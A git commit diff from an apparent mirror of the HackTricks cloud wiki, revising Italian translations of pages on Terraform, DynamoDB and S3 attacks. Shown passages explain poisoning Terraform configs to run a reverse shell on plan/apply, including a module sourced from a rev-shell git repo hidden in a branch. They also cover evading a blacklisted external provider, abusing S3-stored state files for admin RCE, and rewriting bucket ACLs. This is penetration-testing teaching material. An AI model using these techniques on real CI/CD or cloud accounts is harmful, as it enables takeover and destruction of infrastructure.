mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-01 15:35:51 -08:00
Translated ['src/pentesting-ci-cd/terraform-security.md', 'src/pentestin
This commit is contained in:
@@ -32,7 +32,7 @@ Qui hai una [guida](https://learn.hashicorp.com/tutorials/terraform/install-cli)
|
||||
|
||||
## RCE in Terraform: avvelenamento del file di configurazione
|
||||
|
||||
Terraform **non ha una piattaforma che espone una pagina web o un servizio di rete** che possiamo enumerare, quindi, l'unico modo per compromettere terraform è **essere in grado di aggiungere/modificare i file di configurazione di terraform** o **essere in grado di modificare il file di stato di terraform** (vedi capitolo sotto).
|
||||
Terraform **non ha una piattaforma che espone una pagina web o un servizio di rete** che possiamo enumerare, quindi, l'unico modo per compromettere terraform è **essere in grado di aggiungere/modificare i file di configurazione di terraform** o **essere in grado di modificare il file di stato di terraform** (vedi capitolo qui sotto).
|
||||
|
||||
Tuttavia, terraform è un **componente molto sensibile** da compromettere perché avrà **accesso privilegiato** a diverse posizioni affinché possa funzionare correttamente.
|
||||
|
||||
@@ -44,7 +44,7 @@ In realtà, ci sono soluzioni là fuori che **eseguono automaticamente terraform
|
||||
atlantis-security.md
|
||||
{{#endref}}
|
||||
|
||||
Se sei in grado di compromettere un file terraform, ci sono diversi modi in cui puoi eseguire RCE quando qualcuno esegue `terraform plan` o `terraform apply`.
|
||||
Se riesci a compromettere un file terraform, ci sono diversi modi in cui puoi eseguire RCE quando qualcuno esegue `terraform plan` o `terraform apply`.
|
||||
|
||||
### Terraform plan
|
||||
|
||||
@@ -52,7 +52,7 @@ Terraform plan è il **comando più utilizzato** in terraform e gli sviluppatori
|
||||
|
||||
**Utilizzando un provider esterno**
|
||||
|
||||
Terraform offre il [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) che fornisce un modo per interfacciarsi tra Terraform e programmi esterni. Puoi utilizzare la sorgente dati `external` per eseguire codice arbitrario durante un `plan`.
|
||||
Terraform offre il [`provider esterno`](https://registry.terraform.io/providers/hashicorp/external/latest/docs) che fornisce un modo per interfacciarsi tra Terraform e programmi esterni. Puoi utilizzare la sorgente dati `esterno` per eseguire codice arbitrario durante un `plan`.
|
||||
|
||||
Iniettando in un file di configurazione terraform qualcosa di simile al seguente eseguirà una rev shell quando si esegue `terraform plan`:
|
||||
```javascript
|
||||
@@ -75,7 +75,7 @@ version = "1.0"
|
||||
|
||||
provider "evil" {}
|
||||
```
|
||||
Il provider viene scaricato nell'`init` e eseguirà il codice malevolo quando viene eseguito `plan`.
|
||||
Il provider viene scaricato nell'`init` e eseguirà il codice malevolo quando viene eseguito il `plan`.
|
||||
|
||||
Puoi trovare un esempio in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec)
|
||||
|
||||
@@ -91,7 +91,7 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module
|
||||
```
|
||||
Puoi trovare il codice rev shell in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules)
|
||||
|
||||
- Nella risorsa esterna, usa la funzione **ref** per nascondere il **codice rev shell terraform in un branch** all'interno del repo, qualcosa del tipo: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
- Nella risorsa esterna, usa la funzione **ref** per nascondere il **codice rev shell terraform in un branch** all'interno del repo, qualcosa come: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
|
||||
|
||||
### Terraform Apply
|
||||
|
||||
@@ -182,7 +182,7 @@ Per un'istanza EC2, modificare il tipo dell'istanza è sufficiente per far sì c
|
||||
|
||||
### Sostituisci il provider in blacklist
|
||||
|
||||
Nel caso in cui ti trovi in una situazione in cui `hashicorp/external` è stato messo in blacklist, puoi re-implementare il provider `external` facendo quanto segue. Nota: Utilizziamo un fork del provider esterno pubblicato da https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o re-implementazione.
|
||||
Nel caso in cui ti trovi in una situazione in cui `hashicorp/external` è stato messo in blacklist, puoi re-implementare il provider `external` facendo quanto segue. Nota: utilizziamo un fork del provider esterno pubblicato da https://registry.terraform.io/providers/nazarewk/external/latest. Puoi pubblicare anche il tuo fork o re-implementazione.
|
||||
```terraform
|
||||
terraform {
|
||||
required_providers {
|
||||
@@ -203,12 +203,12 @@ program = ["sh", "-c", "whoami"]
|
||||
|
||||
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
|
||||
|
||||
Snyk offre una soluzione completa di scansione per l'Infrastructure as Code (IaC) che rileva vulnerabilità e misconfigurazioni in Terraform, CloudFormation, Kubernetes e altri formati IaC.
|
||||
Snyk offre una soluzione completa di scansione per Infrastructure as Code (IaC) che rileva vulnerabilità e misconfigurazioni in Terraform, CloudFormation, Kubernetes e altri formati IaC.
|
||||
|
||||
- **Caratteristiche:**
|
||||
- Scansione in tempo reale per vulnerabilità di sicurezza e problemi di conformità.
|
||||
- Integrazione con sistemi di controllo versione (GitHub, GitLab, Bitbucket).
|
||||
- Richieste di pull per correzioni automatiche.
|
||||
- Pull request per correzioni automatiche.
|
||||
- Consigli dettagliati per la remediation.
|
||||
- **Registrati:** Crea un account su [Snyk](https://snyk.io/).
|
||||
```bash
|
||||
@@ -230,7 +230,7 @@ checkov -d /path/to/folder
|
||||
```
|
||||
### [terraform-compliance](https://github.com/terraform-compliance/cli)
|
||||
|
||||
Dai [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` è un framework di test leggero, focalizzato sulla sicurezza e sulla conformità, contro terraform per abilitare la capacità di test negativi per la tua infrastruttura come codice.
|
||||
Dalla [**docs**](https://github.com/terraform-compliance/cli): `terraform-compliance` è un framework di test leggero, focalizzato sulla sicurezza e sulla conformità, contro terraform per abilitare la capacità di test negativi per la tua infrastruttura come codice.
|
||||
|
||||
- **compliance:** Assicurati che il codice implementato segua gli standard di sicurezza, i tuoi standard personalizzati
|
||||
- **behaviour driven development:** Abbiamo BDD per quasi tutto, perché non per IaC?
|
||||
@@ -278,7 +278,7 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
|
||||
Dalla [**documentazione**](https://github.com/tenable/terrascan): Terrascan è un analizzatore di codice statico per Infrastructure as Code. Terrascan ti consente di:
|
||||
|
||||
- Scansionare senza problemi l'infrastruttura come codice per configurazioni errate.
|
||||
- Monitorare l'infrastruttura cloud provisionata per cambiamenti di configurazione che introducono deriva della postura e consente di tornare a una postura sicura.
|
||||
- Monitorare l'infrastruttura cloud provisionata per cambiamenti di configurazione che introducono deviazioni di postura e consente di tornare a una postura sicura.
|
||||
- Rilevare vulnerabilità di sicurezza e violazioni di conformità.
|
||||
- Mitigare i rischi prima di provisionare l'infrastruttura cloud nativa.
|
||||
- Offrire flessibilità per eseguire localmente o integrarsi con il tuo CI\CD.
|
||||
|
||||
@@ -26,7 +26,7 @@ aws dynamodb get-resource-policy \
|
||||
--query 'Policy' \
|
||||
--output text > policy.json
|
||||
```
|
||||
Se non riesci a recuperare la policy attuale, utilizza semplicemente questa che concede accesso completo sulla tabella al tuo principale:
|
||||
Se non riesci a recuperare la policy attuale, usa semplicemente questa che concede accesso completo sulla tabella al tuo principale:
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
|
||||
@@ -55,7 +55,7 @@ Ecco alcuni esempi:
|
||||
È molto comune che i file di stato [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) vengano salvati nello storage blob dei fornitori di cloud, ad esempio AWS S3. Il suffisso del file per un file di stato è `.tfstate`, e i nomi dei bucket spesso rivelano che contengono file di stato terraform. Di solito, ogni account AWS ha un bucket di questo tipo per memorizzare i file di stato che mostrano lo stato dell'account.\
|
||||
Inoltre, di solito, negli account del mondo reale quasi sempre tutti gli sviluppatori hanno `s3:*` e a volte anche gli utenti aziendali hanno `s3:Put*`.
|
||||
|
||||
Quindi, se hai le autorizzazioni elencate su questi file, c'è un vettore di attacco che ti consente di ottenere RCE nella pipeline con i privilegi di `terraform` - per la maggior parte delle volte `AdministratorAccess`, rendendoti l'amministratore dell'account cloud. Inoltre, puoi utilizzare quel vettore per effettuare un attacco di denial of service facendo sì che `terraform` elimini risorse legittime.
|
||||
Quindi, se hai le autorizzazioni elencate su questi file, c'è un vettore di attacco che ti consente di ottenere RCE nella pipeline con i privilegi di `terraform` - la maggior parte delle volte `AdministratorAccess`, rendendoti l'amministratore dell'account cloud. Inoltre, puoi utilizzare quel vettore per effettuare un attacco di denial of service facendo sì che `terraform` elimini risorse legittime.
|
||||
|
||||
Segui la descrizione nella sezione *Abusing Terraform State Files* della pagina *Terraform Security* per codice di exploit direttamente utilizzabile:
|
||||
|
||||
@@ -151,7 +151,7 @@ aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://a
|
||||
```
|
||||
### `s3:GetObjectAcl`, `s3:PutObjectAcl`
|
||||
|
||||
Un attaccante potrebbe abusare di queste autorizzazioni per concedersi un accesso maggiore su oggetti specifici all'interno dei bucket.
|
||||
Un attaccante potrebbe abusare di questi permessi per concedersi un accesso maggiore su oggetti specifici all'interno dei bucket.
|
||||
```bash
|
||||
# Update bucket object ACL
|
||||
aws s3api get-object-acl --bucket <bucekt-name> --key flag
|
||||
|
||||
Reference in New Issue
Block a user